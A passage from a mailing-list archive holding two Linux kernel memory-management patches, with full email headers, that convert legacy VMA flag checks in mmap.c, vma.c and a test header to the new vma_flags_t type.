 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=6231; i=ljs@kernel.org;
 h=from:subject:message-id; bh=2Eukk7/bboJXcRN4Serqm42H9hjt4k2BF/S8ckNM3q8=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+q1YA9XOTHweaCw7b1K84KM/l+4VzJwymz/yypnOw
 EgXoUUrO0pZGMS4GGTFFFmefxHfHyQSNq/zgr8bzBxWJpAhDFycAjARtxOMDJfd9Z1WrGFzkSqR
 k3zENmPW9uv9Jq2mlyfbPCqdYyDftZfhD/8EKYZXMltEpvpf7zFQMVFoW/Ccy10ubMFc/7tFUrK
 OTAA=
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-33051d/1783795753-C075FCF4-08592CE5/0/0
X-purgate-type: clean
X-purgate-size: 6233

Update various uses of legacy flags in vma.c and mmap.c to the new
vma_flags_t type, updating comments alongside them to be consistent.

No functional change intended.

Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 mm/mmap.c | 39 +++++++++++++++++++++------------------
 mm/vma.c  | 13 ++++++++-----
 2 files changed, 29 insertions(+), 23 deletions(-)

diff --git a/mm/mmap.c b/mm/mmap.c
index 2076c70e7700..4bf26b0f1e6e 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -557,8 +557,8 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 	}
 
 	/*
-	 * Set 'VM_NORESERVE' if we should not account for the
-	 * memory use of this mapping.
+	 * Set VMA_NORESERVE_BIT if we should not account for the memory use
+	 * of this mapping.
 	 */
 	if (flags & MAP_NORESERVE) {
 		/* We honor MAP_NORESERVE if allowed to overcommit */
@@ -985,7 +985,7 @@ struct vm_area_struct *find_extend_vma_locked(struct mm_struct *mm, unsigned lon
 		return NULL;
 	if (expand_stack_locked(prev, addr))
 		return NULL;
-	if (prev->vm_flags & VM_LOCKED)
+	if (vma_test(prev, VMA_LOCKED_BIT))
 		populate_vma_page_range(prev, addr, prev->vm_end, NULL);
 	return prev;
 }
@@ -1009,7 +1009,7 @@ struct vm_area_struct *find_extend_vma_locked(struct mm_struct *mm, unsigned lon
 	start = vma->vm_start;
 	if (expand_stack_locked(vma, addr))
 		return NULL;
-	if (vma->vm_flags & VM_LOCKED)
+	if (vma_test(vma, VMA_LOCKED_BIT))
 		populate_vma_page_range(vma, addr, start, NULL);
 	return vma;
 }
@@ -1134,18 +1134,18 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	 */
 	vma = vma_lookup(mm, start);
 
-	if (!vma || !(vma->vm_flags & VM_SHARED)) {
+	if (!vma || !vma_test(vma, VMA_SHARED_BIT)) {
 		mmap_read_unlock(mm);
 		return -EINVAL;
 	}
 
-	prot |= vma->vm_flags & VM_READ ? PROT_READ : 0;
-	prot |= vma->vm_flags & VM_WRITE ? PROT_WRITE : 0;
-	prot |= vma->vm_flags & VM_EXEC ? PROT_EXEC : 0;
+	prot |= vma_test(vma, VMA_READ_BIT) ? PROT_READ : 0;
+	prot |= vma_test(vma, VMA_WRITE_BIT) ? PROT_WRITE : 0;
+	prot |= vma_test(vma, VMA_EXEC_BIT) ? PROT_EXEC : 0;
 
 	flags &= MAP_NONBLOCK;
 	flags |= MAP_SHARED | MAP_FIXED | MAP_POPULATE;
-	if (vma->vm_flags & VM_LOCKED)
+	if (vma_test(vma, VMA_LOCKED_BIT))
 		flags |= MAP_LOCKED;
 
 	/* Save vm_flags used to calculate prot and flags, and recheck later. */
@@ -1271,7 +1271,7 @@ unsigned long tear_down_vmas(struct mm_struct *mm, struct vma_iterator *vmi,
 	mmap_assert_write_locked(mm);
 	vma_iter_set(vmi, vma->vm_end);
 	do {
-		if (vma->vm_flags & VM_ACCOUNT)
+		if (vma_test(vma, VMA_ACCOUNT_BIT))
 			nr_accounted += vma_pages(vma);
 		vma_mark_detached(vma);
 		remove_vma(vma);
@@ -1420,7 +1420,7 @@ static int special_mapping_split(struct vm_area_struct *vma, unsigned long addr)
 {
 	/*
 	 * Forbid splitting special mappings - kernel has expectations over
-	 * the number of pages in mapping. Together with VM_DONTEXPAND
+	 * the number of pages in mapping. Together with VMA_DONTEXPAND_BIT
 	 * the size of vma should stay the same over the special mapping's
 	 * lifetime.
 	 */
@@ -1692,7 +1692,7 @@ bool mmap_read_lock_maybe_expand(struct mm_struct *mm,
 		return true;
 	}
 
-	if (!(new_vma->vm_flags & VM_GROWSDOWN))
+	if (!vma_test(new_vma, VMA_GROWSDOWN_BIT))
 		return false;
 
 	mmap_write_lock(mm);
@@ -1742,7 +1742,7 @@ __latent_entropy int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 		retval = vma_start_write_killable(mpnt);
 		if (retval < 0)
 			goto loop_out;
-		if (mpnt->vm_flags & VM_DONTCOPY) {
+		if (vma_test(mpnt, VMA_DONTCOPY_BIT)) {
 			retval = vma_iter_clear_gfp(&vmi, mpnt->vm_start,
 						    mpnt->vm_end, GFP_KERNEL);
 			if (retval)
@@ -1752,7 +1752,7 @@ __latent_entropy int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 			continue;
 		}
 		charge = 0;
-		if (mpnt->vm_flags & VM_ACCOUNT) {
+		if (vma_test(mpnt, VMA_ACCOUNT_BIT)) {
 			unsigned long len = vma_pages(mpnt);
 
 			if (security_vm_enough_memory_mm(oldmm, len)) /* sic */
@@ -1770,16 +1770,19 @@ __latent_entropy int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 		retval = dup_userfaultfd(tmp, &uf);
 		if (retval)
 			goto fail_nomem_anon_vma_fork;
-		if (tmp->vm_flags & VM_WIPEONFORK) {
+
+		if (vma_test(tmp, VMA_WIPEONFORK_BIT)) {
 			/*
-			 * VM_WIPEONFORK gets a clean slate in the child.
+			 * VMA_WIPEONFORK_BIT gets a clean slate in the child.
 			 * Don't prepare anon_vma until fault since we don't
 			 * copy page for current vma.
 			 */
 			tmp->anon_vma = NULL;
 		} else if (anon_vma_fork(tmp, mpnt))
 			goto fail_nomem_anon_vma_fork;
-		vm_flags_clear(tmp, VM_LOCKED_MASK);
+
+		vma_start_write(tmp);
+		vma_clear_flags_mask(tmp, VMA_LOCKED_MASK);
 		/*
 		 * Copy/update hugetlb private vma information.
 		 */
@@ -1812,7 +1815,7 @@ __latent_entropy int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 			i_mmap_unlock_write(mapping);
 		}
 
-		if (!(tmp->vm_flags & VM_WIPEONFORK))
+		if (!vma_test(tmp, VMA_WIPEONFORK_BIT))
 			retval = copy_page_range(tmp, mpnt);
 
 		if (retval) {
diff --git a/mm/vma.c b/mm/vma.c
index e0ad895098a9..b5bc3eec961c 100644
--- a/mm/vma.c
+++ b/mm/vma.c
@@ -3419,17 +3419,20 @@ struct vm_area_struct *__install_special_mapping(
 	vm_flags_t vm_flags, void *priv,
 	const struct vm_operations_struct *ops)
 {
-	int ret;
+	vma_flags_t vma_flags = legacy_to_vma_flags(vm_flags);
 	struct vm_area_struct *vma;
+	int ret;
 
 	vma = vm_area_alloc(mm);
-	if (unlikely(vma == NULL))
+	if (unlikely(!vma))
 		return ERR_PTR(-ENOMEM);
 
-	vm_flags |= vma_flags_to_legacy(mm->def_vma_flags) | VM_DONTEXPAND;
+	vma_flags_set_mask(&vma_flags, mm->def_vma_flags);
+	vma_flags_set(&vma_flags, VMA_DONTEXPAND_BIT);
 	if (pgtable_supports_soft_dirty())
-		vm_flags |= VM_SOFTDIRTY;
-	vm_flags_init(vma, vm_flags & ~VM_LOCKED_MASK);
+		vma_flags_set(&vma_flags, VMA_SOFTDIRTY_BIT);
+	vma_flags_clear_mask(&vma_flags, VMA_LOCKED_MASK);
+	vma->flags = vma_flags;
 	vma->vm_page_prot = vma_get_page_prot(vma);
 
 	vma->vm_ops = ops;

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 05:29:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 05:29:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360574.1613462 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkI-0008Cl-FE; Sun, 12 Jul 2026 05:28:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360574.1613462; Sun, 12 Jul 2026 05:28:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wimkI-00087w-5M; Sun, 12 Jul 2026 05:28:54 +0000
Received: by outflank-mailman (input) for mailman id 1360574;
 Sat, 11 Jul 2026 18:47:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wicju-0005Xq-TQ
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 18:47:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wicju-003keY-AS
 for xen-devel@lists.xenproject.org; Sat, 11 Jul 2026 20:47:50 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a528f9c-2eae-0a2a0a5409dd-0a2a45029662-18
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:47:50 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ljs@kernel.org>)
 id 6a528fd4-64c6-0a2a45020019-aceafc1fce58-3
 for <xen-devel@lists.xenproject.org>; Sat, 11 Jul 2026 20:47:49 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 3AAA141655;
 Sat, 11 Jul 2026 18:47:48 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id AF4801F000E9;
 Sat, 11 Jul 2026 18:47:27 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="From:Date:Subject:References:In-Reply-To:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783795668;
	bh=mLC9P7bLR/Uoa69VZ1d0HzztKwzCdHVcxkdSF4M05FQ=;
	h=From:Date:Subject:References:In-Reply-To:To:Cc;
	b=cWfdCojd9BEVdJixJem5fW1yN2WMCBSqX49JBrY8VEVdZfJU2N7N3Nxjti2dd1PAY
	 jHUCK8DxeZrKYnvyB+RT9x7Cp2M5SoYFjZcIsDmFeaH1lqF767UeNHIIBPY+Sng5Fp
	 MK+9v3J7Qa9RSE25T4WS2oSi8fTCtKzWW6Odi2CaiQPPbEjTa8vRRaWJWdUuMUts4O
	 cA9jeJjD4VBwS0DTGUMhgeHN9UmX28wOStoae3Af6e7oQlz0+Dgt1jAYXhFRrvXj3V
	 aDj9iQonQd8MmaaAgMBdzyflHOa0sh1Ocs8CIFYwiYPnS5VCh7VghyS+RJDWLO0kSW
	 ijUTjw6rx6hTw==
From: Lorenzo Stoakes <ljs@kernel.org>
Date: Sat, 11 Jul 2026 19:45:03 +0100
Subject: [PATCH v2 06/13] mm/vma: convert vm_pgprot_modify() to use
 vma_flags_t and rename
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260711-b4-vma-flags-mm-v2-6-0fa2357d5431@kernel.org>
References: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
In-Reply-To: <20260711-b4-vma-flags-mm-v2-0-0fa2357d5431@kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>, 
 David Hildenbrand <david@kernel.org>, 
 "Liam R. Howlett" <liam@infradead.org>, Vlastimil Babka <vbabka@kernel.org>, 
 Mike Rapoport <rppt@kernel.org>, Suren Baghdasaryan <surenb@google.com>, 
 Michal Hocko <mhocko@suse.com>, 
 Thomas Bogendoerfer <tsbogend@alpha.franken.de>, 
 Benjamin LaHaise <bcrl@kvack.org>, Alexander Viro <viro@zeniv.linux.org.uk>, 
 Christian Brauner <brauner@kernel.org>, Jan Kara <jack@suse.cz>, 
 Hugh Dickins <hughd@google.com>, 
 Baolin Wang <baolin.wang@linux.alibaba.com>, Jann Horn <jannh@google.com>, 
 Pedro Falcato <pfalcato@suse.de>, Muchun Song <muchun.song@linux.dev>, 
 Oscar Salvador <osalvador@suse.de>, Zi Yan <ziy@nvidia.com>, 
 Nico Pache <npache@redhat.com>, Ryan Roberts <ryan.roberts@arm.com>, 
 Dev Jain <dev.jain@arm.com>, Barry Song <baohua@kernel.org>, 
 Lance Yang <lance.yang@linux.dev>, Usama Arif <usama.arif@linux.dev>, 
 Madhavan Srinivasan <maddy@linux.ibm.com>, 
 Michael Ellerman <mpe@ellerman.id.au>, Nicholas Piggin <npiggin@gmail.com>, 
 "Christophe Leroy (CS GROUP)" <chleroy@kernel.org>, 
 Maarten Lankhorst <maarten.lankhorst@linux.intel.com>, 
 Maxime Ripard <mripard@kernel.org>, Thomas Zimmermann <tzimmermann@suse.de>, 
 David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>, 
 Lucas Stach <l.stach@pengutronix.de>, 
 Russell King <linux+etnaviv@armlinux.org.uk>, 
 Christian Gmeiner <christian.gmeiner@gmail.com>, 
 Inki Dae <inki.dae@samsung.com>, Seung-Woo Kim <sw0312.kim@samsung.com>, 
 Kyungmin Park <kyungmin.park@samsung.com>, 
 Krzysztof Kozlowski <krzk@kernel.org>, 
 Peter Griffin <peter.griffin@linaro.org>, 
 Alim Akhtar <alim.akhtar@samsung.com>, 
 Jani Nikula <jani.nikula@linux.intel.com>, 
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>, 
 Rodrigo Vivi <rodrigo.vivi@intel.com>, 
 Tvrtko Ursulin <tursulin@ursulin.net>, 
 Rob Clark <robin.clark@oss.qualcomm.com>, 
 Dmitry Baryshkov <lumag@kernel.org>, 
 Abhinav Kumar <abhinav.kumar@linux.dev>, 
 Jessica Zhang <jesszhan0024@gmail.com>, Sean Paul <sean@poorly.run>, 
 Marijn Suijten <marijn.suijten@somainline.org>, 
 Lyude Paul <lyude@redhat.com>, Danilo Krummrich <dakr@kernel.org>, 
 Tomi Valkeinen <tomi.valkeinen@ideasonboard.com>, 
 Sandy Huang <hjc@rock-chips.com>, 
 =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>, 
 Andy Yan <andy.yan@rock-chips.com>, 
 Thierry Reding <thierry.reding@kernel.org>, 
 Mikko Perttunen <mperttunen@nvidia.com>, 
 Jonathan Hunter <jonathanh@nvidia.com>, Gerd Hoffmann <kraxel@redhat.com>, 
 Dmitry Osipenko <dmitry.osipenko@collabora.com>, 
 Gurchetan Singh <gurchetansingh@chromium.org>, 
 Chia-I Wu <olvaffe@gmail.com>, Zack Rusin <zack.rusin@broadcom.com>, 
 Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
 Matthew Brost <matthew.brost@intel.com>, 
 =?utf-8?q?Thomas_Hellstr=C3=B6m?= <thomas.hellstrom@linux.intel.com>, 
 Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>, 
 Helge Deller <deller@gmx.de>, Kees Cook <kees@kernel.org>, 
 Jaroslav Kysela <perex@perex.cz>, Takashi Iwai <tiwai@suse.com>, 
 Boris Brezillon <boris.brezillon@collabora.com>, 
 Steven Price <steven.price@arm.com>, Liviu Dudau <liviu.dudau@arm.com>
Cc: Lorenzo Stoakes <ljs@kernel.org>, linux-mm@kvack.org, 
 linux-kernel@vger.kernel.org, linux-mips@vger.kernel.org, 
 linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, 
 linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
 etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
 linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, 
 linux-arm-msm@vger.kernel.org, freedreno@lists.freedesktop.org, 
 nouveau@lists.freedesktop.org, linux-rockchip@lists.infradead.org, 
 linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
 intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, 
 linux-fbdev@vger.kernel.org, linux-sound@vger.kernel.org
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=openpgp-sha256; l=4379; i=ljs@kernel.org;
 h=from:subject:message-id; bh=zyqVv3UzBLKq1hjuUUCPSl3cGoER1z2LvGWjiRKvzK0=;
 b=owGbwMvMwCV2fu7ZrsZH9SKMp9WSGLKC+i1XKLHOjEnRP75gpcyaV01nzvXnrX6+LO73lGlC/
 +aJsv8/0VHKwiDGxSArpsjy/Iv4/iCRsHmdF/zdYOawMoEMYeDiFICJBNoyMuzw9q5WXt7gt/vl
 TK3NR7uCs2/mFnmo127Y8Mp28h/pyrmMDPe0ts0S3/2Ix3jO9zPB+xdkc/g3qqdk5hRZZBpk9Qb
 58QMA
X-Developer-Key: i=ljs@kernel.org; a=openpgp;
 fpr=E7F417BF5214569E89D04F46CF9DCD8A81E27F14
X-purgate-ID: tlsNG-720697/1783795670-3EF43A87-CDF4D48B/0/0
X-purgate-type: clean
X-purgate-size: 4381

Update vm_pgprot_modify() to use the new VMA flags type vma_flags_t, and
rename to vma_pgprot_modify() accordingly.

This is part of the ongoing work to convert vm_flags_t to vma_flags_t, in
order to eliminate the arbitrary limit of the number of bits in a system
word on available VMA flags.

Update VMA userland tests accordingly, updating vma_set_page_prot() to no
longer inline vma_pgprot_modify(), rather we can simply define
vma_pgprot_modify() as a static inline function and the tests will pick it
up from vma.h.

No functional change intended.

Reviewed-by: Lance Yang <lance.yang@linux.dev>
Reviewed-by: Zi Yan <ziy@nvidia.com>
Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
---
 mm/mmap.c                       |  8 ++++----
 mm/vma.c                        |  2 +-
 mm/vma.h                        |  6 ++++--
 tools/testing/vma/include/dup.h | 12 +++++-------
 4 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/mm/mmap.c b/mm/mmap.c
index ae9a5018e20e..2076c70e7700 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -80,13 +80,13 @@ core_param(ignore_rlimit_data, ignore_rlimit_data, bool, 0644);
 /* Update vma->vm_page_prot to reflect vma->vm_flags. */
 void vma_set_page_prot(struct vm_area_struct *vma)
 {
-	vm_flags_t vm_flags = vma->vm_flags;
+	vma_flags_t vma_flags = vma->flags;
 	pgprot_t vm_page_prot;
 
-	vm_page_prot = vm_pgprot_modify(vma->vm_page_prot, vm_flags);
+	vm_page_prot = vma_pgprot_modify(vma->vm_page_prot, vma_flags);
 	if (vma_wants_writenotify(vma, vm_page_prot)) {
-		vm_flags &= ~VM_SHARED;
-		vm_page_prot = vm_pgprot_modify(vm_page_prot, vm_flags);
+		vma_flags_clear(&vma_flags, VMA_SHARED_BIT);
+		vm_page_prot = vma_pgprot_modify(vm_page_prot, vma_flags);
 	}
 	/* remove_protection_ptes reads vma->vm_page_prot without mmap_lock */
 	WRITE_ONCE(vma->vm_page_prot, vm_page_prot);
diff --git a/mm/vma.c b/mm/vma.c
index 1f443d979a7d..a74a0e467c63 100644
--- a/mm/vma.c
+++ b/mm/vma.c
@@ -2176,7 +2176,7 @@ bool vma_wants_writenotify(struct vm_area_struct *vma, pgprot_t vm_page_prot)
 	/* The open routine did something to the protections that pgprot_modify
 	 * won't preserve? */
 	if (pgprot_val(vm_page_prot) !=
-	    pgprot_val(vm_pgprot_modify(vm_page_prot, vma->vm_flags)))
+	    pgprot_val(vma_pgprot_modify(vm_page_prot, vma->flags)))
 		return false;
 
 	/*
diff --git a/mm/vma.h b/mm/vma.h
index 4eb85b4a6adc..8ca6e7e8ae28 100644
--- a/mm/vma.h
+++ b/mm/vma.h
@@ -541,9 +541,11 @@ static inline bool vma_wants_manual_pte_write_upgrade(struct vm_area_struct *vma
 }
 
 #ifdef CONFIG_MMU
-static inline pgprot_t vm_pgprot_modify(pgprot_t oldprot, vm_flags_t vm_flags)
+static inline pgprot_t vma_pgprot_modify(pgprot_t oldprot, vma_flags_t vma_flags)
 {
-	return pgprot_modify(oldprot, vm_get_page_prot(vm_flags));
+	const pgprot_t prot = vma_get_page_prot(vma_flags);
+
+	return pgprot_modify(oldprot, prot);
 }
 #endif
 
diff --git a/tools/testing/vma/include/dup.h b/tools/testing/vma/include/dup.h
index 773e23303e26..24955a1e318a 100644
--- a/tools/testing/vma/include/dup.h
+++ b/tools/testing/vma/include/dup.h
@@ -1424,20 +1424,18 @@ struct vm_area_struct *vma_iter_next_range(struct vma_iterator *vmi)
 }
 
 bool vma_wants_writenotify(struct vm_area_struct *vma, pgprot_t vm_page_prot);
+static inline pgprot_t vma_pgprot_modify(pgprot_t oldprot, vma_flags_t vma_flags);
 
 /* Update vma->vm_page_prot to reflect vma->vm_flags. */
 static inline void vma_set_page_prot(struct vm_area_struct *vma)
 {
-	vm_flags_t vm_flags = vma->vm_flags;
+	vma_flags_t vma_flags = vma->flags;
 	pgprot_t vm_page_prot;
 
-	/* testing: we inline vm_pgprot_modify() to avoid clash with vma.h. */
-	vm_page_prot = pgprot_modify(vma->vm_page_prot, vm_get_page_prot(vm_flags));
-
+	vm_page_prot = vma_pgprot_modify(vma->vm_page_prot, vma_flags);
 	if (vma_wants_writenotify(vma, vm_page_prot)) {
-		vm_flags &= ~VM_SHARED;
-		/* testing: we inline vm_pgprot_modify() to avoid clash with vma.h. */
-		vm_page_prot = pgprot_modify(vm_page_prot, vm_get_page_prot(vm_flags));
+		vma_flags_clear(&vma_flags, VMA_SHARED_BIT);
+		vm_page_prot = vma_pgprot_modify(vm_page_prot, vma_flags);
 	}
 	/* remove_protection_ptes reads vma->vm_page_prot without mmap_lock */
 	WRITE_ONCE(vma->vm_page_prot, vm_page_prot);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 12 11:57:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 11:57:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1360999.1613551 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wisns-0002U6-Mm; Sun, 12 Jul 2026 11:57:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1360999.1613551; Sun, 12 Jul 2026 11:57:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wisns-0002Ty-Ib; Sun, 12 Jul 2026 11:57:00 +0000
Received: by outflank-mailman (input) for mailman id 1360999;
 Sun, 12 Jul 2026 11:56:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wisnr-0002Tc-DX
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 11:56:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wisnq-00AqkR-QV
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 13:56:58 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a538018-bab6-0a2a0a5309dd-0a2a4506c906-44
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 13:56:58 +0200
Received: from [40.107.159.76]
 (helo=OSPPR02CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a53810a-0835-0a2a45060019-286b9f4ccdfa-3
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 13:56:58 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS8PR03MB6869.eurprd03.prod.outlook.com (2603:10a6:20b:23f::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Sun, 12 Jul
 2026 11:56:55 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.019; Sun, 12 Jul 2026
 11:56:55 +0000
